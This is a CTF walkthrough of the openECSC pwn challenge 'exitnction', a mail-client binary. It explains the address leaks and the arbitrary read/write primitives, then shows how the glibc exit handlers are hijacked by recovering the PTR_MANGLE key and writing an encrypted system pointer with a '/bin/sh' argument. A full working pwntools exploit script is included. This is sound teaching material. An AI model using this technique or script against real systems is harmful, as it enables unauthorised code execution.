exitnction - openECSC - Walkthrough
Exploit exit to get system.
Introduction
This is one of the pwn challenges of the openECSC (Open European Cybersecurity Challenge) competition. The challenge was made by mantix101
. It starts with the following description and a file containing the challenge (exitnction.tar.gz
). The challenge was rated as medium and 37 people solved it.
From: security@exitnction.ctf
To: pwn@exitnction.ctf
Subject: Scheduled Security Test for Mail Application
Date: Tue, 21 September 2025 13:37:00 +0200
MIME-Version: 1.0
Content-Type: text/plain; charset=”UTF-8”
Hello Team,
As discussed, we have scheduled a full-scale security test on the mail application currently in use. This particular application has been identified as the same platform exploited during the recent compromise of our multi-billion dollar corporation: Exitnction Limited, and we need to validate its security posture before allowing any further internal usage.
Our goal is to determine whether vulnerabilities still exist in our deployment. If any signs of exploitation surface or previously undocumented behavior is detected, the affected systems will be isolated immediately and a detailed follow-up assessment will be conducted.
Please ensure that all relevant services and logging aggregators remain operational during the test window and that no configuration changes are introduced until the testing phase is complete.
Let me know if you have any questions or concerns.
Best regards,
Security Team - Exitnction Limited
The challenge file (exitnction.tar.gz
) contains these files:
1
2
$ ls
Dockerfile docker-compose.yml exitnction flag.txt
The Dockerfile
basically contains the setup which is based on a Ubuntu 24.04 docker container. The docker-compose.yml
file also lets you build the container just by running the docker compose file.
I tried running the executable exitnction
on my machine, this didn’t work, so to continue it is necessary to find the right libc
, because my machine is missing/not matching that version of libc
.
1
2
$ ./exitnction
./exitnction: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by ./exitnction)
Finding libc
& Patching the Binary
So next I pulled the docker container given in the Dockerfile
and run it. The docker image used for building the container is matched with a exact hash, which will make it easier to find the exact libc
version of the server.
1
$ docker run -it --rm -v $(pwd):/host amd64/ubuntu@sha256:c115bab85a806837279e12a28e1c05260e8899160224b323743493bcd65463dc /bin/bash
To use the libc
on my machine I copied the it to my current challenge directory.
1
root@6935fe4e99ae:/# cp /lib/x86_64-linux-gnu/libc.so.6 /host
After having all the necessary parts to continue I used pwninit
to setup the linker simply by running:
1
$ pwninit
This tool is very helpful because it will download the right linker and will simplify the process of debugging the binary. Also it will patch the binary to have the matching libc
linked to it and not the default one on my machine. After running pwninit
, you are able to run the patched binary named exitnction_patched
.
1
2
3
4
5
6
7
8
9
10
11
12
$ ./exitnction_patched
Welcome to the 'Exitnction' mail client!
Exitnction Mail Client Commands:
read - Read emails
write - Write an e-mail
server - Print mail server information
help - Show this help message
exit - Exit
>
The binary is actually a mail client with some basic options.
Binary Recon
The binary is fully protected with all major mitigations enabled: Full RELRO, stack canaries, NX, PIE.
1
2
3
4
5
6
7
8
$ checksec --file=exitnction
[*] '/home/user/Documents/openECSC2025/writeup1/exitnction/exitnction'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
The application provides three main functions: reading emails, writing emails, and retrieving server information. Finally it contains a help function and a exit function to exit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
> server
=== Mail Server Information ===
Name: EXITNCTION
Version: 1.3.3.7
Email sending limit: 0/3
License: Trial (0x55c2566b30b0)
Backend: 2.39-stable (0x7f2317e47ba0)
> read
=== Inbox ===
Mail #1:
From: pwn@exit.ctf
Subject: Hello!
Body: Just saying hi.
....
Enter recipient email address as hex (e.g. 0x7774664065786974): 0x 1
Enter Subject (8 chars): A
Enter Body (64 chars): B
Segmentation fault
The help page only lists the menu of the challenge again. The next function, the server information function leaks two different addresses in different sections of the virtual memory. The read function only statically outputs some demo emails containing nothing interesting. The write
function lets you write to a email address as hex, probably a binary address, because if we enter something arbitrary a Segmentation fault will happen.
Mail Server Info
The server
which is quite important for addresses. The source code reveals that the fist address after the text License
is actually the address of current_license
which is a local variable, so with that we have a binary address. The second address is the address of exit()
in libc
, with that we have a binary and a libc
address. Additionally the libc
version and the release is leaked, this is not very important if we have the docker container’s libc
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void mail_server_info(void)
{
int iVar1;
undefined8 uVar2;
undefined8 uVar3;
puts("=== Mail Server Information ===");
__printf_chk(2,"Name: %s\n","EXITNCTION");
__printf_chk(2,"Version: %s\n","1.3.3.7");
__printf_chk(2,"Email sending limit: %d/%d\n",sent_mails,3);
__printf_chk(2,"License: %s (%p)\n","Trial",¤t_license);
uVar2 = gnu_get_libc_release();
uVar3 = gnu_get_libc_version();
__printf_chk(2,"Backend: %s-%s (%p)\n",uVar3,uVar2,exit);
iVar1 = strcmp(current_license,"DEBUG");
if (iVar1 != 0) {
return;
}
__printf_chk(2,"Internal Debug Info: %p",_r_debug._8_8_);
return;
}
Lastly, if the pointer current_license
is pointing to the string DEBUG
, it will additionally print _r_debug._8_8_
.
1
__printf_chk(2,"Internal Debug Info: %p",_r_debug._8_8_);
This address is the second field in the _r_debug
struct and points to the link_map
structure. The link_map
is a dynamic linker structure that contains information about all loaded shared objects.
Write Email
The next interesting function is write_email()
, which allows us to input data to arbitrary memory locations.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
void write_email(void)
{
size_t sVar1;
long lVar2;
undefined8 **ppuVar3;
long in_FS_OFFSET;
undefined8 *local_78;
char local_70;
undefined7 uStack_6f;
undefined4 local_67;
undefined4 uStack_63;
undefined4 uStack_5f;
undefined4 uStack_5b;
undefined4 local_57;
undefined4 uStack_53;
undefined4 uStack_4f;
undefined4 uStack_4b;
undefined4 local_47;
undefined4 uStack_43;
undefined4 uStack_3f;
undefined4 uStack_3b;
undefined4 local_37;
undefined4 uStack_33;
undefined4 uStack_2f;
undefined4 uStack_2b;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
ppuVar3 = &local_78;
for (lVar2 = 0xb; lVar2 != 0; lVar2 = lVar2 + -1) {
*ppuVar3 = (undefined8 *)0x0;
ppuVar3 = ppuVar3 + 1;
}
__printf_chk(2,"\nEnter recipient email address as hex (e.g. 0x7774664065786974): 0x");
__isoc23_scanf(&DAT_00102021,&local_78);
getc(stdin);
__printf_chk(2,"\nEnter Subject (8 chars): ");
fgets(&local_70,9,stdin);
sVar1 = strcspn(&local_70,"\n");
(&local_70)[sVar1] = '\0';
__printf_chk(2,"\nEnter Body (64 chars): ");
fgets((char *)&local_67,0x41,stdin);
sVar1 = strcspn((char *)&local_67,"\n");
*(undefined *)((long)&local_67 + sVar1) = 0;
if (local_70 != '\0') {
*local_78 = CONCAT71(uStack_6f,local_70);
}
if ((char)local_67 != '\0') {
*(undefined4 *)local_78 = local_67;
*(undefined4 *)((long)local_78 + 4) = uStack_63;
*(undefined4 *)(local_78 + 1) = uStack_5f;
*(undefined4 *)((long)local_78 + 0xc) = uStack_5b;
*(undefined4 *)(local_78 + 2) = local_57;
*(undefined4 *)((long)local_78 + 0x14) = uStack_53;
*(undefined4 *)(local_78 + 3) = uStack_4f;
*(undefined4 *)((long)local_78 + 0x1c) = uStack_4b;
*(undefined4 *)(local_78 + 4) = local_47;
*(undefined4 *)((long)local_78 + 0x24) = uStack_43;
*(undefined4 *)(local_78 + 5) = uStack_3f;
*(undefined4 *)((long)local_78 + 0x2c) = uStack_3b;
*(undefined4 *)(local_78 + 6) = local_37;
*(undefined4 *)((long)local_78 + 0x34) = uStack_33;
*(undefined4 *)(local_78 + 7) = uStack_2f;
*(undefined4 *)((long)local_78 + 0x3c) = uStack_2b;
}
sent_mails = sent_mails + 1;
puts("\nEmail has been successfully sent to the recipient!");
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
The decompiled output from Ghidra was difficult to read, so I cleaned up with ChatGPT the code for better readability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void write_email(void) {
uint64_t *recipient = NULL; // Pointer to store recipient email (as hex)
char subject[9] = {0}; // Subject (8 chars + null terminator)
char body[65] = {0}; // Body (64 chars + null terminator)
// Prompt for recipient email in hex
printf("\nEnter recipient email address as hex (e.g. 0x7774664065786974): 0x");
scanf("%p", (void **)&recipient);
getchar(); // consume leftover newline
// Prompt for subject
printf("\nEnter Subject (8 chars): ");
fgets(subject, sizeof(subject), stdin);
subject[strcspn(subject, "\n")] = '\0'; // Remove newline if present
// Prompt for body
printf("\nEnter Body (64 chars): ");
fgets(body, sizeof(body), stdin);
body[strcspn(body, "\n")] = '\0'; // Remove newline if present
if (recipient != NULL) {
if (subject[0] != '\0') {
*(uint64_t *)recipient = *(uint64_t *)subject; // Copy first 8 bytes of subject
}
if (body[0] != '\0') {
memcpy(recipient, body, sizeof(body) - 1); // Copy body (up to 64 bytes)
}
}
// Increment sent emails counter
sent_mails++;
printf("\nEmail has been successfully sent to the recipient!\n");
}
The function first prompts the user to enter a memory address in hex format, then requests the email’s subject and body. It writes this content directly to the specified address, providing an arbitrary write primitive.
This arbitrary write capability allows us to modify current_license
. By changing the license from Trial
to DEBUG
, we gain access to an additional address leak. This can be done because the string DEBUG
is already present in the binary and the leaked addresses and can be used to change the current_license
to the string.
Reading Emails
The final interesting function is read_emails()
, which is responsible for reading emails. This function allows us to read arbitrary strings longer than 8 bytes. The function checks the length of the buffer using a while-do
structure and if not jumped it will continue printing the license.
By overwriting the pointer current_license
with an address containing more than 8 non-null bytes, we can leak that memory content.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void read_emails(void)
{
long lVar1;
char *pcVar2;
ulong uVar3;
ulong uVar4;
pcVar2 = current_license;
do {
if (*pcVar2 == '\0') goto LAB_001014ce;
pcVar2 = pcVar2 + 1;
} while (pcVar2 != current_license + 8);
__printf_chk(2,"Your current license is \'%s\'.\n",current_license);
LAB_001014ce:
uVar4 = 1;
puts("=== Inbox ===");
do {
lVar1 = uVar4 * 8;
uVar3 = uVar4 & 0xffffffff;
uVar4 = uVar4 + 1;
__printf_chk(2,"\nMail #%d:\n%s\n",uVar3,*(undefined8 *)(&DAT_00104018 + lVar1));
} while (uVar4 != 4);
return;
}
At this point, we have achieved the following primitives and achievements:
- Leaked several addresses from different memory sections
- Arbitrary read: We can read almost any string longer than 8 bytes
- Arbitrary write: We can write to any writable memory section
Methodology
Initial Although we can write anywhere in memory, we still face the challenge of achieving code execution. We can’t simply pivot to a ROP chain on the stack because we don’t have a stack address.
My initial approach was to leak a stack address from libc
, since libc
typically contains stack pointers. While I successfully found a stack address in libc
, it proved too unstable across runs to be reliable for exploitation.
There is a way of exploiting this by leaking libc
’s environ
variable. With this address you will get a stable offset on the stack to overwrite a return pointer.
Exit Strategy
Given that the challenge is named “exitnction” and we actually trigger the exit routine, I decided to investigate libc
’s exit functionality. Here is the section in main which calls exit()
.
1
2
3
if ((local_3a == 0x74697865) && (local_36 == '\0')) {
/* WARNING: Subroutine does not return */
exit(0);
I firstly found this article https://blog.rop.la/en/exploiting/2024/06/11/code-exec-part1-from-exit-to-system.html, and then invested some time looking in the source code.
Exit Handlers
When calling libc
’s exit()
function, the following sequence is executed:
1
2
3
4
5
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
The exit()
function calls __run_exit_handlers()
to process the registered exit handlers. The source code is quite good documented so it was easy to understand what happens.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
__call_tls_dtors ();
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (*listp != NULL)
{
struct exit_function_list *cur = *listp;
while (cur->idx > 0)
{
const struct exit_function *const f =
&cur->fns[--cur->idx];
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
}
https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/exit.c#L36
This function executes handlers that were registered to run on exit using atexit()
and on_exit()
. It processes the exit function list in reverse order of registration, calling each handler based on its flavor type:
ef_at
: Standardatexit()
handlers (no arguments)ef_on
:on_exit()
handlers (takes status and argument)ef_cxa
:__cxa_atexit()
handlers (takes argument and status)
The function first calls TLS destructors, then iterates through the exit function list, calling each registered handler with pointer demangling applied for security. After all handlers complete, it performs final cleanup and calls _exit()
with the provided status code.
Memory storing the pointers & arguments
These handlers are stored in the exit_function_list
of initial
, which contains a list of exit function entries. Each entry includes a flavor field that indicates the handler type (e.g., atexit
, on_exit
or basically what type of exit function it is, e.g. with/out argument) and a function pointer and sometimes with the associated arguments.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> p initial
next = 0x0,
idx = 1,
fns = {
{
flavor = 4,
func = {
at = 0xe5fe92114a4c86b1,
on = {
fn = 0xe5fe92114a4c86b1,
arg = 0x7fc1211cb42f
},
cxa = {
fn = 0xe5fe92114a4c86b1,
arg = 0x7fc1211cb42f,
dso_handle = 0x0
}
}
}
}
The value 0xe5fe92114a4c86b1
is the encrypted function pointer, the first argument 0x7fc1211cb42f
is stored unencrypted. After the encrypted function pointer.
1
2
3
4
pwndbg> x/10gx &initial
0x7fc121204fc0 <initial>: 0x0000000000000000 0x0000000000000001
0x7fc121204fd0 <initial+16>: 0x0000000000000004 0xe5fe92114a4c86b1
0x7fc121204fe0 <initial+32>: 0x00007fc1211cb42f 0x0000000000000000
This actually is the buffer modified after chainging the addresses
0x7fc1211cb42f
is/bin/sh
and0xe5fe92114a4c86b1
is the encrypted system pointer.
There are several different flavors of exit functions stored. A flavor just means if for example the function is stored with an argument…
1
2
3
4
5
6
enum {
ef_free, // slot unused
ef_at, // atexit(function)
ef_on, // on_exit(function, arg)
ef_cxa, // __cxa_atexit(fn, arg, dso_handle)
} flavor
The original flavor 0x4
is quite useful for us. We can simply use that address without needing to write a different number for the flavor parameter, since ef_cxa
works for our purposes as well. The original function pointer is pointing to _dl_fini
which is a funciton in the linker. Fortunately we already have an address in the linker so finding the matching offset is not necessary.
Pointer Encryption via PTR_MANGLE
The encryption of the function pointer referencing the exit handler is performed using the PTR_MANGLE
mechanism, which implements a simple bitwise rotation combined with an XOR operation:
- Decryption: Right rotation (ROR) of
0x11
bits followed by XOR - Encryption: XOR followed by left rotation (ROL) of
0x11
bits
Decryption Process
The following assembly demonstrates the decryption operation in the __run_exit_handlers
function:
1
2
0x7feba2447a56 <__run_exit_handlers+326> ror rax, 0x11
0x7feba2447a5a <__run_exit_handlers+330> xor rax, qword ptr fs:[0x30]
The key used for XOR is stored in the fs-segment used for Thread Local Storage (TLS).
Exploitation Plan
With that I was able to do a exploitation plan:
Leak/Retrieve the address of the
mail_server_info
functionModify the
current_license
pointer to point to theDEBUG
buffer, which is conveniently already present in the binaryWrite the
/bin/sh
string as the first argument below the encrypted function pointer. This step must be performed first; otherwise, we cannot read the encrypted function pointer because it is smaller than 9 bytes (its 8 bytes because of encryption)Leak the encrypted pointer by modifying the
current_license
pointer againExtract the function pointer encryption key using the known original function address. Since we have the base address of the loader and the offset is static, we can determine key using the reverse operation of the encryption.
Overwrite the encrypted function pointer with a new function pointer pointing to
system
. We can encrypt this correctly because we obtained the encryption key through the previously leaked addressTrigger the exploit by exiting, which calls the overwritten function pointer with
/bin/sh
as the argument
Key Observations
- The
DEBUG
buffer is already present in the binary, making it accessible for pointer manipulation - The loader’s base address combined with the static offset allows us to calculate the original function address
- Knowledge of both the plaintext and ciphertext function pointers reveals the encryption key
- This key can then be used to encrypt our malicious
system
pointer
Full exploit code
Here is the full exploit code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *
import re
import time
context.binary = elf = ELF("./exitnction_patched")
context.arch = 'amd64'
ld = ELF("./ld-2.39.so")
p = process([elf.path])
# p = remote("bb5489ea-a655-4205-89ad-8a47f1363e5e.openec.sc",31337,ssl=True)
libc = elf.libc
def rol64(x, r): return ((x << r) | (x >> (64-r))) & ((1<<64)-1)
def ror64(x, r): return ((x >> r) | (x << (64-r))) & ((1<<64)-1)
def get_xor_key(observed, original):
if isinstance(observed, str): observed = int(observed, 16)
if isinstance(original, str): original = int(original, 16)
original = ror64(original, 0x11)
return observed ^ original
def get_addresses(p):
p.sendlineafter(b'> ', b'server')
output = p.recvuntil(b'> ', drop=True).decode()
license_match = re.search(r'License: Trial \((0x[0-9a-f]+)\)', output)
license_addr = int(license_match.group(1), 16) if license_match else None
backend_match = re.search(r'Backend: [\d.]+-stable \((0x[0-9a-f]+)\)', output)
backend_addr = int(backend_match.group(1), 16) if backend_match else None
return {
'license': license_addr,
'backend': backend_addr
}
def write_email(p, recipient_addr, body):
p.sendlineafter(b'> ', b'write')
p.sendlineafter(b'0x', hex(recipient_addr)[2:].encode())
p.sendlineafter(b'Enter Subject (8 chars): ', body[:8])
p.sendlineafter(b'Enter Body (64 chars): ', body[8:])
def leak_addresses_and_setup(proc):
addrs = get_addresses(proc)
libc.address = addrs['backend'] - libc.symbols['exit']
log.info(f"Leaked libc base: {hex(libc.address)}")
license_addr = addrs['license']
elf.address = license_addr - 16560
log.info(f"Leaked elf base address: {hex(elf.address)}")
proc.sendline(b"help")
time.sleep(0.5)
log.info(f"Leaked the addresses of libc and the binary")
return addrs
def debug_addr(addrs):
license_addr = addrs['license']
debug_addr = license_addr - 8151
return debug_addr
def leak_debug_address(proc, addrs, debug_addr):
license_addr = addrs["license"]
payload_debug = p64(debug_addr)
write_email(proc, license_addr, payload_debug)
proc.sendlineafter(b'> ', b'server')
output = proc.recvuntil(b'> ', drop=True).decode()
proc.sendline(b"help")
time.sleep(0.5)
m = re.search(r'Internal Debug Info: (0x[a-f0-9]+)', output)
if not m:
raise RuntimeError("failed to find Internal Debug Info in server output")
r_debug_8 = int(m.group(1), 16)
ld.address = r_debug_8 - 234208
log.info(f"Debug address leaked: {hex(r_debug_8)} by overwriting the license")
log.info(f"Got loader base address: {hex(ld.address)}")
return r_debug_8
def write_bin_sh_into_struct():
initial_addr = libc.symbols["initial"]
log.info(f"Found initial address: {hex(initial_addr)}")
destination = initial_addr + 0x20
bin_sh = next(libc.search(b"/bin/sh"))
write_email(p, destination, p64(bin_sh))
return initial_addr
def overwrite_initial_pointer_and_extract_key(initial_addr, license_addr):
write_email(p, license_addr, p64(initial_addr + 0x18))
p.sendlineafter(b'> ', b'read')
p.recvuntil(b"Your current license is '")
encrypted_bytes = p.recv(numb=8)
encrypted_dl_fini = u64(encrypted_bytes)
dl_fini = ld.address + 21376
key = get_xor_key(dl_fini, encrypted_dl_fini)
log.info(f"exit_functions key: {hex(key)}")
return key
def encrypt_system_and_write(initial_addr, key):
encrypted_system = rol64(libc.symbols["system"] ^ key, 0x11)
write_email(p, initial_addr + 0x18, p64(encrypted_system))
def main():
addrs = leak_addresses_and_setup(p)
debug_addr_val = debug_addr(addrs)
leak_debug_address(p, addrs, debug_addr_val)
initial_addr = write_bin_sh_into_struct()
key = overwrite_initial_pointer_and_extract_key(initial_addr, addrs["license"])
encrypt_system_and_write(initial_addr, key)
p.sendlineafter(b"> ",b"exit")
p.clean()
p.sendline(b"cat flag.txt")
p.interactive()
if __name__ == "__main__":
main()
Conclusion
This challenge demonstrated an interesting exploitation path for memory corruption vulnerabilities. I was originally inspired by this technique after reading the libc
source code and .